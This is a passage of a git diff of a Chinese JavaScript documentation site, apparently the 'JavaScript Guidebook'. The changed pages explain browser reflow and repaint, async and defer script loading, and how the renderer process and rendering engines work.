                    重排后,浏览器会重新绘制受影响的部分到屏幕可视区域,该过程称为重绘。另外,DOM 变化不一定都会影响几何属性,比如改变一个元素的背景色不影响宽高,这种情况下只会发生重绘,代价较小。

                    重排几乎是无法避免的。现在界面上流行的一些效果,比如树状目录的折叠、展开(实质上是元素的显示与隐藏)等,都将引起浏览器的重排。鼠标滑过、点击等用户交互事件,只要这些行为引起了页面上某些元素的占位面积、定位方式、边距等属性的变化,都会引起它内部、周围甚至整个页面的重新渲 染。通常我们都无法预估浏览器到底会重排哪一部分的代码,它们都彼此相互影响着。

                    重排原因

                    引发重排的根本原因:

                    • Initial:网页初始化的时候
                    • Incremental:JavaScript 在操作 DOM 树时
                    • Resize:元素节点的尺寸改变
                    • StyleChange:样式属性发生变化
                    • Dirty:几个 Incremental 的 Reflow 发生在同一个元素的子树上

                    重排场景

                    会导致产生重排的场景:

                    • 网页初始化(Initial)
                    • 元素内容变化,如输入空间(Incremental)
                    • 通过脚本增加、删除和修改 DOM 节点(Incremental)
                    • 改变浏览器窗口大小(Resize)
                    • 计算 offsetWidthoffsetHeight 等(Resize)
                    • 设置 style 属性(StyleChange)
                    • 操作 class 属性(StyleChange)
                    • 样式表变动(StyleChange)
                    • 改变文字大小(StyleChange)
                    • 激活伪类,如 :hover(StyleChange)

                    浏览器并不会在我们进行上述操作时立即进行重排,浏览器会积攥一批 reflow 后批量进行重排。

                    不过有的操作会让浏览器立马进行重排,比如 窗口缩放改变了页面默认的字体,或者说 获取以下这些值

                    • offsetTopoffsetLeftoffsetWidthoffsetHeight
                    • scrollTopscrollLeftscrollWidthscrollHeight
                    • clientTopclientLeftclientWidthclientHeight
                    • IE 中的 getComputedStyle()currentStyle

                    触发页面重新布局的样式属性:

                    • 盒子模型相关属性
                    • 定位属性及浮动相关属性
                    • 改变节点内部文字结构的相关属性
                    width top text-align
                    height bottom vertical-align
                    padding left line-height
                    margin right overflow
                    display position font-family
                    border float font-size
                    border-width clear white-space
                    min-height
                    min-width

                    优化方案

                    减少重排的方案:

                    • 不要通过父级来改变子元素样式,最好直接改变子元素样式,改变子元素样式尽可能不要影响父元素和兄弟元素的大小和尺寸
                    • 减少不必要的 DOM 层级。改变 DOM 树中的一级会导致所有层级的改变,上至根部,下至被改变节点的子节点。这导致大量时间耗费在执行重排上面
                    • 不要用 table 布局的另一个原因就是 tables 中某个元素一旦触发重排就会导致 table 里所有的其它元素重排。在适合用 table 的场合,可以设置 table-layoutautofixed
                    • 权衡速度的平滑。比如实现一个动画,以 1 个像素为单位移动这样最平滑,但重排就会过于频繁,CPU 很快就会被完全占用。如果以 3 个像素为单位移动就会好很多
                    • 尽量不要过多的频繁的去增加、修改或删除元素,因为这可能会频繁地导致页面重排,可以先把该 DOM 节点抽离道内存中进行复杂的操作然后再 display 到页面上
                    • CSS 里不要有表达式
                    • 不要逐条地修改 DOM 样式:与其这样,不如预先定义好 CSS 的 class,然后修改 DOM 的 className
                    • 实现元素的动画,对于经常要进行重排的组件,应当要抽离出来,它的 position 属性应当设为 fixedabsolute
                    • 避免不必要的复杂的 CSS 选择器,尤其是后代选择器,因为为了匹配选择器将耗费更多的 CPU

                    重绘

                    重绘(Repaint)遍历所有节点,检测节点的可见性、颜色、轮廓等可见的样式属性,然后根据检测的结果更新页面的响应部分。当渲染树中的一些元素需要更新一些不会改变元素布局的属性,比如只是影响元素的外观、风格、而不会影响布局的那些属性,这时候就只发生重绘。当然,页面首次加载也是要重绘一次的。

                    光栅: 光栅主要是针对图形的一个栅格化过程。现代浏览器中主要的绘制工作主要用光栅化软件来完成。所以元素重绘由这个元素和绘制层级的关系,来决定的是否会很大程度影响你的性能,如果这个元素盖住的多层元素都被重新绘制,性能损耗当然大。

                    重绘属性

                    只触发重绘的属性

                    color
                    border-style
                    border-radius
                    visibility
                    text-decoration
                    background
                    background-image
                    background-position
                    background-repeat
                    background-size
                    outline-color
                    outline
                    outline-style
                    outline-width
                    box-shadow

                    动态变化

                    在网页元素发生变化时,浏览器会尽可能做出最小的响应:

                    • 元素颜色的改变:只会对该元素进行重绘
                    • 元素位置的改变:只会对该元素及其子元素(可能还有同级元素)进行布局和重绘
                    • 添加 DOM 节点:会对该节点进行布局和重绘
                    • 一些重大变化(例如增大 <html> 元素的字体)会导致缓存无效,使得整个渲染树都会进行重新布局绘制

                    参考资料

                    +

                    绘制

                    在绘制阶段,系统会遍历渲染树,并调用(浏览器内部)渲染器的 paint 方法,将渲染器的内容绘制成位图。

                    绘制工作是使用用户界面基础组件完成的。你所看见的一切都会触发 paint。包括拖动滚动条,鼠标选择中文字等这些完全不改变样式,只改变显示结果的动作都会触发 paint

                    paint 的工作就是把文档中用户可见的那一部分展现给用户。paint 是把 layout 和样式计算的结果直接在浏览器视窗上绘制出来,它并不实现具体的元素计算,只是 layout 后面的那一步。

                    绘制顺序

                    CSS2 规范 定义了绘制流程的顺序。绘制的顺序其实就是元素进入 堆栈样式上下文 的顺序。这些堆栈会从后往前绘制,因此这样的顺序会影响绘制。块呈现器的堆栈顺序如下:

                    1. 背景颜色(background-color
                    2. 背景图片(background-image
                    3. 边框(border
                    4. 子代
                    5. 轮廓(outline

                    在样式发生变化时,浏览器会尽可能做出最小的响应。因此,元素的颜色改变后,只会对该元素进行重绘;元素的位置改变后,会对该元素及其子元素(可能还有同级元素)进行布局和重绘;添加 DOM 节点后,会对该节点进行布局和重绘。一些重大变化(例如增大 <html> 元素的字体)会导致缓存无效,使得整个渲染树都会进行重新布局和绘制。

                    更新渲染管道

                    DOM+Style、布局和绘制树的生成顺序

                    渲染管道中最重要的事情是:每个步骤中,前一个操作的结果用于后一个操作创建新数据。例如,如果布局树中的某些内容发生改变,需要为文档的受影响部分重新生成 绘制 指令。

                    如果要为元素设置动画,则浏览器必须在每个帧之间运行这些操作。大多数显示器每秒刷新屏幕 60 次(60 fps),当屏幕每帧都在变化,人眼会觉得动画很流畅。但是,如果动画丢失了中间一些帧,页面看起来就会卡顿(Janky)。

                    时间轴上的动画帧

                    即使渲染操作能跟上屏幕刷新,这些计算也会在主线程上运行,这意味着当你的应用程序运行 JavaScript 时动画可能会被阻塞。

                    时间轴上的动画帧,但 JavaScript 阻塞了一帧

                    你可以将 JavaScript 操作划分为小块,并使用 requestAnimationFrame() 在每个帧上运行。

                    有关此主题的更多信息,请参阅 Optimize JavaScript Execution。你也可以在 Web Worker 中运行 JavaScript 以避免阻塞主线程。

                    时间轴上较小的 JavaScript 块与动画帧一起运行

                    重排

                    重排(Reflow,也叫回流)指的是当浏览器某个位置的布局发生了变化,浏览器就会重新从根部开始递归向下计算该节点及其子孙节点的布局,依次计算所有节点的几何尺寸和位置。

                    正如上文所述,当 DOM 的结构发生了改变,需要从生成 DOM 这一步开始,重新经过 样式计算生成布局树建立图层树、再到 生成绘制列表 以及之后的显示器显示整个渲染过程走一遍,开销是非常大的。

                    在重排过程中,可能会增加一些渲染器,如文本字符串。DOM 树里的每个节点(内部)都会有 reflow 方法,一个节点的重排很有可能导致子节点,甚至父节点以及同级节点的重排。

                    重排后,浏览器会重新绘制受影响的部分到屏幕可视区域,该过程称为重绘。另外,DOM 变化不一定都会影响几何属性,比如改变一个元素的背景色不影响宽高,这种情况下只会发生重绘,代价较小。

                    重排几乎是无法避免的。现在界面上流行的一些效果,比如树状目录的折叠、展开(实质上是元素的显示与隐藏)等,都将引起浏览器的重排。鼠标滑过、点击等用户交互事件,只要这些行为引起了页面上某些元素的占位面积、定位方式、边距等属性的变化,都会引起它内部、周围甚至整个页面的重新渲 染。通常我们都无法预估浏览器到底会重排哪一部分的代码,它们都彼此相互影响着。

                    重排原因

                    引发重排的根本原因:

                    • Initial:网页初始化的时候
                    • Incremental:JavaScript 在操作 DOM 树时
                    • Resize:元素节点的尺寸改变
                    • StyleChange:样式属性发生变化
                    • Dirty:几个 Incremental 的 Reflow 发生在同一个元素的子树上

                    重排场景

                    会导致产生重排的场景:

                    • 网页初始化(Initial)
                    • 元素内容变化,如输入空间(Incremental)
                    • 通过脚本增加、删除和修改 DOM 节点(Incremental)
                    • 改变浏览器窗口大小(Resize)
                    • 计算 offsetWidthoffsetHeight 等(Resize)
                    • 设置 style 属性(StyleChange)
                    • 操作 class 属性(StyleChange)
                    • 样式表变动(StyleChange)
                    • 改变文字大小(StyleChange)
                    • 激活伪类,如 :hover(StyleChange)

                    浏览器并不会在我们进行上述操作时立即进行重排,浏览器会积攥一批 reflow 后批量进行重排。

                    不过有的操作会让浏览器立马进行重排,比如 窗口缩放改变了页面默认的字体,或者说 获取以下这些值

                    • offsetTopoffsetLeftoffsetWidthoffsetHeight
                    • scrollTopscrollLeftscrollWidthscrollHeight
                    • clientTopclientLeftclientWidthclientHeight
                    • IE 中的 getComputedStyle()currentStyle

                    触发页面重新布局的样式属性:

                    • 盒子模型相关属性
                    • 定位属性及浮动相关属性
                    • 改变节点内部文字结构的相关属性
                    width top text-align
                    height bottom vertical-align
                    padding left line-height
                    margin right overflow
                    display position font-family
                    border float font-size
                    border-width clear white-space
                    min-height
                    min-width

                    优化方案

                    减少重排的方案:

                    • 不要通过父级来改变子元素样式,最好直接改变子元素样式,改变子元素样式尽可能不要影响父元素和兄弟元素的大小和尺寸
                    • 减少不必要的 DOM 层级。改变 DOM 树中的一级会导致所有层级的改变,上至根部,下至被改变节点的子节点。这导致大量时间耗费在执行重排上面
                    • 不要用 table 布局的另一个原因就是 tables 中某个元素一旦触发重排就会导致 table 里所有的其它元素重排。在适合用 table 的场合,可以设置 table-layoutautofixed
                    • 权衡速度的平滑。比如实现一个动画,以 1 个像素为单位移动这样最平滑,但重排就会过于频繁,CPU 很快就会被完全占用。如果以 3 个像素为单位移动就会好很多
                    • 尽量不要过多的频繁的去增加、修改或删除元素,因为这可能会频繁地导致页面重排,可以先把该 DOM 节点抽离道内存中进行复杂的操作然后再 display 到页面上
                    • CSS 里不要有表达式
                    • 不要逐条地修改 DOM 样式:与其这样,不如预先定义好 CSS 的 class,然后修改 DOM 的 className
                    • 实现元素的动画,对于经常要进行重排的组件,应当要抽离出来,它的 position 属性应当设为 fixedabsolute
                    • 避免不必要的复杂的 CSS 选择器,尤其是后代选择器,因为为了匹配选择器将耗费更多的 CPU

                    重绘

                    重绘(Repaint)遍历所有节点,检测节点的可见性、颜色、轮廓等可见的样式属性,然后根据检测的结果更新页面的响应部分。当渲染树中的一些元素需要更新一些不会改变元素布局的属性,比如只是影响元素的外观、风格、而不会影响布局的那些属性,这时候就只发生重绘。当然,页面首次加载也是要重绘一次的。

                    光栅: 光栅主要是针对图形的一个栅格化过程。现代浏览器中主要的绘制工作主要用光栅化软件来完成。所以元素重绘由这个元素和绘制层级的关系,来决定的是否会很大程度影响你的性能,如果这个元素盖住的多层元素都被重新绘制,性能损耗当然大。

                    重绘属性

                    只触发重绘的属性

                    color
                    border-style
                    border-radius
                    visibility
                    text-decoration
                    background
                    background-image
                    background-position
                    background-repeat
                    background-size
                    outline-color
                    outline
                    outline-style
                    outline-width
                    box-shadow

                    动态变化

                    在网页元素发生变化时,浏览器会尽可能做出最小的响应:

                    • 元素颜色的改变:只会对该元素进行重绘
                    • 元素位置的改变:只会对该元素及其子元素(可能还有同级元素)进行布局和重绘
                    • 添加 DOM 节点:会对该节点进行布局和重绘
                    • 一些重大变化(例如增大 <html> 元素的字体)会导致缓存无效,使得整个渲染树都会进行重新布局绘制

                    参考资料

                    - + diff --git a/browser-object-model/browser-working-principle/script-loading-asynchronously/index.html b/browser-object-model/browser-working-principle/script-loading-asynchronously/index.html index 1dea39887..a62d65b51 100644 --- a/browser-object-model/browser-working-principle/script-loading-asynchronously/index.html +++ b/browser-object-model/browser-working-principle/script-loading-asynchronously/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 脚本异步加载 - JavaScript Guidebook -

                    脚本异步加载

                    现代浏览器总是并行加载资源。脚本文件互相不会阻塞,但是会阻塞其他资源(例如图片、字体等)的下载。

                    后来为了用户体验,有了 asyncdefer ,脚本标记为异步,不会阻塞其他线程解析和执行。

                    当 HTML 解析器被 JavaScript 脚本阻塞时,解析器虽然会停止构建 DOM,但仍会识别该脚本后面的资源,并进行预加载。

                    1. 默认情况下,CSS 被视为阻塞渲染的资源,这意味着看浏览器将不会渲染任何已处理的内容,直至 CSSOM 构建完毕
                    2. JavaScript 不仅可以读取和修改 DOM 属性,还可以读取和修改 CSSOM 属性

                    存在阻塞的 CSS 资源时,浏览器会延迟 JavaScript 的执行和 DOM 构建

                    1. 当浏览器遇到一个 <script> 标记时,DOM 构建将暂停,直至脚本完成执行。
                    2. JavaScript 可以查询和修改 DOM 与 CSSOM。
                    3. CSSOM 构建时,JavaScript 执行将暂停,直至 CSSOM 就绪。

                    <script> 标签为止很重要。实际使用时,遵循下面两个原则:

                    1. CSS 优先:引入顺序上,CSS 资源先于 JavaScript 资源
                    2. JavaScript 应尽量少影响 DOM 的构建,例如把 JavaScript 脚本文件引入放在文档底部或使用异步加载

                    异步加载

                    • 标注为 defer 的 JavaScript 脚本文件不会停止 HTML 文档解析,而是等到解析结束才执行
                    • 标注为 async 只能引用外部脚本,下载完马上执行,但是不能保证加载顺序。

                    普通脚本

                    <script src="foo.js"></script>

                    浏览器会做如下处理

                    • 同步加载,停止解析 document
                    • 请求 foo.js
                    • 执行 foo.js 中的脚本
                    • 继续解析 document

                    defer

                    <script src="foo.js" defer></script>
                    <script src="bar.js" defer></script>

                    defer 属性规定是否对异步加载的脚本延迟执行,直到页面加载为止。

                    • 不阻止解析 document,并行下载 foo.jsbar.js
                    • 即使下载完 foo.jsbar.js 仍继续解析 document
                    • 按照页面中出现的顺序,在其他同步脚本执行后,DOMContentLoaded 事件前依次执行 foo.jsbar.js

                    async

                    <script src="foo.js" async></script>
                    <script src="bar.js" async></script>

                    async 属性规定异步加载脚本并且立即执行,则会异步执行。

                    • 不阻止解析 document,并行下载 foo.jsbar.js
                    • 当脚本下载完成后立即执行
                    • 两者执行顺序不确定,执行阶段不确定,可能在 DOMContentLoaded 事件前或者后
                    • 第二个脚本文件可能会在第一个脚本文件之前执行,因此确保两者之间互不依赖非常重要
                    • 目的是不让页面等待两个脚本下载和执行,从而异步加载页面其他内容

                    综合运用

                    • 如果使用 async:脚本相对于页面的其余部分异步地执行
                    • 如果不使用 async 但使用 defer:脚本将在页面完成解析时执行
                    • 如果既不使用 async 也不使用 defer:在浏览器继续解析页面之前,立即读取并执行脚本

                    如果 <script>src 属性,则 deferasync 会被忽略

                    动态添加的 <script> 标签隐含 async 属性

                    图解脚本的异步加载

                    JavaScript解析
                    • 两者都不会阻止 document 的解析
                    • defer 会在 DOMContentLoaded 前依次执行
                    • async 则是下载完立即执行,不一定是在 DOMContentLoaded 前
                    • async 因为乱序,所以很适合像 Google Analytics 这样的无依赖脚本

                    加载事项

                    • <link>:加载外部 CSS 样式文件 。异步加载,继续解析 HTML。
                    • <script src='url'>:加载 JavaScript 脚本文件,同步加载并阻塞解析 HTML,加载完马上执行。
                    • <script src='url' async>:加载 JavaScript 脚本文件。异步加载,继续解析 HTML,加载完马上执行。
                    • <script src='url' defer>:加载 JavaScript 脚本文件。异步加载,继续解析 HTML,加载完延迟执行。
                    • <img src='url' />:加载图片,异步加载,继续解析 HTML;但是需要等待 CSS 解析完才解码,所以 CSS 阻塞图片呈现。

                    DOMContentLoaded 标识着程序从同步脚本执行转化为事件驱动阶段。

                    • CSSOM 树和 DOM 树是互不关联的两个过程
                    • CSS 不会阻塞 DOM 的解析,但会阻塞 DOM 渲染
                    • JavaScript 阻塞 DOM 解析,但浏览器会"偷看"DOM,提前下载资源
                    • 平时我们把 <link> 标签放部头而 <script><body> 尾部,是因为 JavaScript 阻塞阻塞 DOM 树的构建
                    • 但是 JavaScript 需要查询 CSS 信息,所以 JavaScript 还要等待 CSSOM 树构建完才可以执行
                    • 这就造成 CSS 阻塞了 JavaScript,JavaScript 阻塞了 DOM 树构建
                    • 浏览器遇到 <script> 且没有 deferasync 属性的标签时,会触发页面渲染,因而如果前面 CSS 资源尚未加载完毕时,浏览器会等待它加载完毕在执行脚本。

                    参考资料

                    +

                    脚本异步加载

                    现代浏览器总是并行加载资源。脚本文件互相不会阻塞,但是会阻塞其他资源(例如图片、字体等)的下载。

                    后来为了用户体验,有了 asyncdefer ,脚本标记为异步,不会阻塞其他线程解析和执行。

                    当 HTML 解析器被 JavaScript 脚本阻塞时,解析器虽然会停止构建 DOM,但仍会识别该脚本后面的资源,并进行预加载。

                    1. 默认情况下,CSS 被视为阻塞渲染的资源,这意味着看浏览器将不会渲染任何已处理的内容,直至 CSSOM 构建完毕
                    2. JavaScript 不仅可以读取和修改 DOM 属性,还可以读取和修改 CSSOM 属性

                    存在阻塞的 CSS 资源时,浏览器会延迟 JavaScript 的执行和 DOM 构建

                    1. 当浏览器遇到一个 <script> 标记时,DOM 构建将暂停,直至脚本完成执行。
                    2. JavaScript 可以查询和修改 DOM 与 CSSOM。
                    3. CSSOM 构建时,JavaScript 执行将暂停,直至 CSSOM 就绪。

                    <script> 标签为止很重要。实际使用时,遵循下面两个原则:

                    1. CSS 优先:引入顺序上,CSS 资源先于 JavaScript 资源
                    2. JavaScript 应尽量少影响 DOM 的构建,例如把 JavaScript 脚本文件引入放在文档底部或使用异步加载

                    异步加载

                    • 标注为 defer 的 JavaScript 脚本文件不会停止 HTML 文档解析,而是等到解析结束才执行
                    • 标注为 async 只能引用外部脚本,下载完马上执行,但是不能保证加载顺序。

                    普通脚本

                    <script src="foo.js"></script>

                    浏览器会做如下处理

                    • 同步加载,停止解析 document
                    • 请求 foo.js
                    • 执行 foo.js 中的脚本
                    • 继续解析 document

                    defer

                    <script src="foo.js" defer></script>
                    <script src="bar.js" defer></script>

                    defer 属性规定是否对异步加载的脚本延迟执行,直到页面加载为止。

                    • 不阻止解析 document,并行下载 foo.jsbar.js
                    • 即使下载完 foo.jsbar.js 仍继续解析 document
                    • 按照页面中出现的顺序,在其他同步脚本执行后,DOMContentLoaded 事件前依次执行 foo.jsbar.js

                    async

                    <script src="foo.js" async></script>
                    <script src="bar.js" async></script>

                    async 属性规定异步加载脚本并且立即执行,则会异步执行。

                    • 不阻止解析 document,并行下载 foo.jsbar.js
                    • 当脚本下载完成后立即执行
                    • 两者执行顺序不确定,执行阶段不确定,可能在 DOMContentLoaded 事件前或者后
                    • 第二个脚本文件可能会在第一个脚本文件之前执行,因此确保两者之间互不依赖非常重要
                    • 目的是不让页面等待两个脚本下载和执行,从而异步加载页面其他内容

                    综合运用

                    • 如果使用 async:脚本相对于页面的其余部分异步地执行
                    • 如果不使用 async 但使用 defer:脚本将在页面完成解析时执行
                    • 如果既不使用 async 也不使用 defer:在浏览器继续解析页面之前,立即读取并执行脚本

                    如果 <script>src 属性,则 deferasync 会被忽略

                    动态添加的 <script> 标签隐含 async 属性

                    图解脚本的异步加载

                    JavaScript解析
                    • 两者都不会阻止 document 的解析
                    • defer 会在 DOMContentLoaded 前依次执行
                    • async 则是下载完立即执行,不一定是在 DOMContentLoaded 前
                    • async 因为乱序,所以很适合像 Google Analytics 这样的无依赖脚本

                    加载事项

                    • <link>:加载外部 CSS 样式文件 。异步加载,继续解析 HTML。
                    • <script src='url'>:加载 JavaScript 脚本文件,同步加载并阻塞解析 HTML,加载完马上执行。
                    • <script src='url' async>:加载 JavaScript 脚本文件。异步加载,继续解析 HTML,加载完马上执行。
                    • <script src='url' defer>:加载 JavaScript 脚本文件。异步加载,继续解析 HTML,加载完延迟执行。
                    • <img src='url' />:加载图片,异步加载,继续解析 HTML;但是需要等待 CSS 解析完才解码,所以 CSS 阻塞图片呈现。

                    DOMContentLoaded 标识着程序从同步脚本执行转化为事件驱动阶段。

                    • CSSOM 树和 DOM 树是互不关联的两个过程
                    • CSS 不会阻塞 DOM 的解析,但会阻塞 DOM 渲染
                    • JavaScript 阻塞 DOM 解析,但浏览器会"偷看"DOM,提前下载资源
                    • 平时我们把 <link> 标签放部头而 <script><body> 尾部,是因为 JavaScript 阻塞阻塞 DOM 树的构建
                    • 但是 JavaScript 需要查询 CSS 信息,所以 JavaScript 还要等待 CSSOM 树构建完才可以执行
                    • 这就造成 CSS 阻塞了 JavaScript,JavaScript 阻塞了 DOM 树构建
                    • 浏览器遇到 <script> 且没有 deferasync 属性的标签时,会触发页面渲染,因而如果前面 CSS 资源尚未加载完毕时,浏览器会等待它加载完毕在执行脚本。

                    参考资料

                    - + diff --git a/browser-object-model/browser-working-principle/workflow/index.html b/browser-object-model/browser-working-principle/workflow/index.html index f6a5ee7ec..27852bb4b 100644 --- a/browser-object-model/browser-working-principle/workflow/index.html +++ b/browser-object-model/browser-working-principle/workflow/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 渲染进程的内部机制 - JavaScript Guidebook -

                    渲染进程的内部机制

                    导航流

                    简述从浏览器中键入 URL 后,浏览器从互联网获取数据并显示页面的过程:

                    1. 处理输出:用户在地址栏中键入时,UI 线程会自动检测输入数据是否为一个 URL 地址
                    2. 开始导航:当用户按下 Enter 键时,UI 线程会启动网络调取去获取站点内容,网络线程会通过适当的协议,像 DNS 查找和为请求建立 TLS 连接。在这时,网络线程可能会收到像 HTTP 301 那样的服务器重定向头。这种情况下,网络线程会告诉 UI 线程,服务器正在请求重定向,另一个 URL 请求会被启动
                    3. 读取响应:一旦收到响应主题(Payload),网络线程会在必要时查看数据流的前几个字节。如果响应的是 HTML 文件,那么下个步骤就是会把数据传给渲染进程,但是如果是一个压缩文件或是其他文件,那么意味着它是一个下载请求,因此需要将数据传递给下载管理器。此时也会进行 SafeBrowsing 检查。如果域名和响应数据似乎匹配到一个已知的恶意网站,那么网络线程会显示一个警告页面。除此之外,还会发生 Cross Origin Read Blocking(CORB) 检查,以确保敏感的跨域数据不被传给渲染进程
                    4. 查找渲染进程:一旦所有的检查执行完毕并且网络线程确信浏览器会导航到请求的站点,网络线程会告诉 UI 线程所有的数据准备完毕。UI 线程会寻找渲染进程去开始渲染 Web 页面
                    5. 提交导航:数据和渲染进程就绪后,浏览器进程会发送一个 IPC(进程间通信)到渲染进程去提交导航。它也会传递数据流,所以渲染进程可以保持接收 HTML 数据。一旦浏览器进程收到渲染进程已经提交的确认消息,导航完毕并且文档加载解析开始
                    6. 初始化加载完毕:一旦导航被提交,渲染进程开始加载资源和渲染页面

                    工作线程

                    导航过程完成之后,浏览器进程把数据交给了渲染进程,渲染进程负责 Tab 选项卡内的所有事情,核心目的就是将 HTML/CSS/JavaScript 代码,转化为用户可进行交互的 Web 页面。

                    那么渲染进程是如何工作的呢?

                    渲染进程中,包含线程分别是:

                    • 一个主线程(main thread)
                    • 多个工作线程(work thread)
                    • 一个合成器线程(compositor thread)
                    • 多个光栅化线程(raster thread)

                    渲染进程内部包含主线程、工作线程、合成线程和光栅线程

                    不同的线程,有着不同的工作职责。

                    渲染引擎

                    渲染引擎的职责就是渲染,即在浏览器窗口中显示所请求的内容。默认情况下,渲染引擎可以显示 HTML、XML 文档及图片,它也可以借助插件(一种浏览器扩展)显示其他类型数据,例如使用 PDF 阅读器插件,可以显示 PDF 格式。渲染引擎最主要的用途是显示应用了 CSS 之后的 HTML 及图片。

                    不同的浏览器厂商实现网页渲染的过程是有区别的。

                    引擎种类

                    不同的浏览器有不同的渲染引擎,对于渲染引擎的种类总结如下:

                    • Webkit 内核:Safari / Chrome 等
                    • Gecko 内核:Netscape6 及以上版本 / Firefox / MozillaSuite / SeaMonkey 等
                    • Trident(MSHTML)内核:IE9- / MaxThon / TT / The World / 360 / 搜狗浏览器 / 腾讯浏览器等
                    • Presto 内核:Opera7 及以上
                    • Edge 内核:Win10 以上 IE 浏览器
                    • Blink 内核:Chromium

                    JavaScript 解析器:

                    • V8 引擎:Google Chrome
                    • spiderMonkey 引擎:Mozilla Firefox
                    • JScript 引擎:IE 系列浏览器
                    • linear b/futhark 引擎:Opera

                    工作流程

                    下面是渲染引擎在获取文档内容之后的大致工作流程:

                    1. Parsing:解析文档
                    2. RenderTree:构建渲染
                    3. Layout:布局
                    4. Paint:绘制
                    5. Rasterization:光栅化
                    6. Composite:合并

                    浏览器工作大致流程

                    1. 浏览器解析过程
                      • HTML / SVG / XHTML:渲染引擎通过三个 C++ 的类对应这三类文档,解析这三类文件并构建 DOM 树(DOM Tree)
                      • CSS:渲染引擎解析外部 CSS 文件及内联 style 标签内的样式数据,并构建 CSS 规则树( CSS Rule Tree)
                      • JavaScript:JavaScript 通过 DOM API 和 CSSOM API 来操作 DOM Tree 和 CSS Rule Tree
                    2. 构建渲染树(Rendering Tree)
                      • 解析完成后,浏览器引擎会通过 DOM 树和 CSS 规则树来构造 渲染树
                      • 渲染树并不等同于 DOM 树,因为一些像 <header>display: none 的东西就没必要放到渲染树中
                      • CSS 的 Rule Tree 主要是为了完成匹配并把 CSS Rule 附加至渲染树上的每个 Element 上。然后,计算每个渲染对象的位置,这通常是 布局(Layout) 和 重排(Reflow) 过程中发生
                      • 一旦渲染树构建完成,浏览器会把树里面的内容绘制在屏幕上。
                    3. 布局(Layout):渲染树构建好之后,将会执行布局过程,它将确定每个节点在屏幕上的确切坐标
                    4. 绘制(Paint):再下一步就是绘制,即遍历渲染树,并使用渲染引擎绘制每个节点
                    5. 渲染层合并(Composite):页面中 DOM 元素的绘制是在多个层上进行的,在每个层上完成绘制过程之后,浏览器会将所有层按照合理的顺序合并成一个图层,然后在屏幕上呈现
                    6. 最后通过调用操作系统 NativeGUI API 进行绘制

                    值得注意的是,这个过程是逐步完成的,为了更好的用户体验,渲染引擎将会尽可能早地将内容呈现到屏幕上,并不会等到所有 HTML 都解析完成之后再去构建和布局渲染树,它是解析完一部分内容就显示一部分内容,同时,可能还在通过网络下载其余内容。

                    Webkit 实现

                    Webkit主流程实现

                    Gecko 实现

                    Gecko主流程实现

                    • Gecko 将视觉格式化元素组成的树称为 框架树(Frame)。每个元素都是一个框架。Webkit 使用的术语是 渲染树(Render),它由 渲染对象 组成。
                    • 对于元素的放置,Webkit 使用的术语是 布局(Layout),而 Gecko 称之为 重排(Reflow)
                    • Webkit 称利用 DOM 节点及样式信息去构建渲染树的过程为 Attachment,Gecko 在 HTML 和 DOM 树之间附加了一层,这层称为内容接收器,相当制造 DOM 元素的工厂。

                    参考资料

                    +

                    渲染进程的内部机制

                    导航流

                    简述从浏览器中键入 URL 后,浏览器从互联网获取数据并显示页面的过程:

                    1. 处理输出:用户在地址栏中键入时,UI 线程会自动检测输入数据是否为一个 URL 地址
                    2. 开始导航:当用户按下 Enter 键时,UI 线程会启动网络调取去获取站点内容,网络线程会通过适当的协议,像 DNS 查找和为请求建立 TLS 连接。在这时,网络线程可能会收到像 HTTP 301 那样的服务器重定向头。这种情况下,网络线程会告诉 UI 线程,服务器正在请求重定向,另一个 URL 请求会被启动
                    3. 读取响应:一旦收到响应主题(Payload),网络线程会在必要时查看数据流的前几个字节。如果响应的是 HTML 文件,那么下个步骤就是会把数据传给渲染进程,但是如果是一个压缩文件或是其他文件,那么意味着它是一个下载请求,因此需要将数据传递给下载管理器。此时也会进行 SafeBrowsing 检查。如果域名和响应数据似乎匹配到一个已知的恶意网站,那么网络线程会显示一个警告页面。除此之外,还会发生 Cross Origin Read Blocking(CORB) 检查,以确保敏感的跨域数据不被传给渲染进程
                    4. 查找渲染进程:一旦所有的检查执行完毕并且网络线程确信浏览器会导航到请求的站点,网络线程会告诉 UI 线程所有的数据准备完毕。UI 线程会寻找渲染进程去开始渲染 Web 页面
                    5. 提交导航:数据和渲染进程就绪后,浏览器进程会发送一个 IPC(进程间通信)到渲染进程去提交导航。它也会传递数据流,所以渲染进程可以保持接收 HTML 数据。一旦浏览器进程收到渲染进程已经提交的确认消息,导航完毕并且文档加载解析开始
                    6. 初始化加载完毕:一旦导航被提交,渲染进程开始加载资源和渲染页面

                    工作线程

                    导航过程完成之后,浏览器进程把数据交给了渲染进程,渲染进程负责 Tab 选项卡内的所有事情,核心目的就是将 HTML/CSS/JavaScript 代码,转化为用户可进行交互的 Web 页面。

                    那么渲染进程是如何工作的呢?

                    渲染进程中,包含线程分别是:

                    • 一个主线程(main thread)
                    • 多个工作线程(work thread)
                    • 一个合成器线程(compositor thread)
                    • 多个光栅化线程(raster thread)

                    渲染进程内部包含主线程、工作线程、合成线程和光栅线程

                    不同的线程,有着不同的工作职责。

                    渲染引擎

                    渲染引擎的职责就是渲染,即在浏览器窗口中显示所请求的内容。默认情况下,渲染引擎可以显示 HTML、XML 文档及图片,它也可以借助插件(一种浏览器扩展)显示其他类型数据,例如使用 PDF 阅读器插件,可以显示 PDF 格式。渲染引擎最主要的用途是显示应用了 CSS 之后的 HTML 及图片。

                    不同的浏览器厂商实现网页渲染的过程是有区别的。

                    引擎种类

                    不同的浏览器有不同的渲染引擎,对于渲染引擎的种类总结如下:

                    • Webkit 内核:Safari / Chrome 等
                    • Gecko 内核:Netscape6 及以上版本 / Firefox / MozillaSuite / SeaMonkey 等
                    • Trident(MSHTML)内核:IE9- / MaxThon / TT / The World / 360 / 搜狗浏览器 / 腾讯浏览器等
                    • Presto 内核:Opera7 及以上
                    • Edge 内核:Win10 以上 IE 浏览器
                    • Blink 内核:Chromium

                    JavaScript 解析器:

                    • V8 引擎:Google Chrome
                    • spiderMonkey 引擎:Mozilla Firefox
                    • JScript 引擎:IE 系列浏览器
                    • linear b/futhark 引擎:Opera

                    工作流程

                    下面是渲染引擎在获取文档内容之后的大致工作流程:

                    1. Parsing:解析文档
                    2. RenderTree:构建渲染
                    3. Layout:布局
                    4. Paint:绘制
                    5. Rasterization:光栅化
                    6. Composite:合并

                    浏览器工作大致流程

                    1. 浏览器解析过程
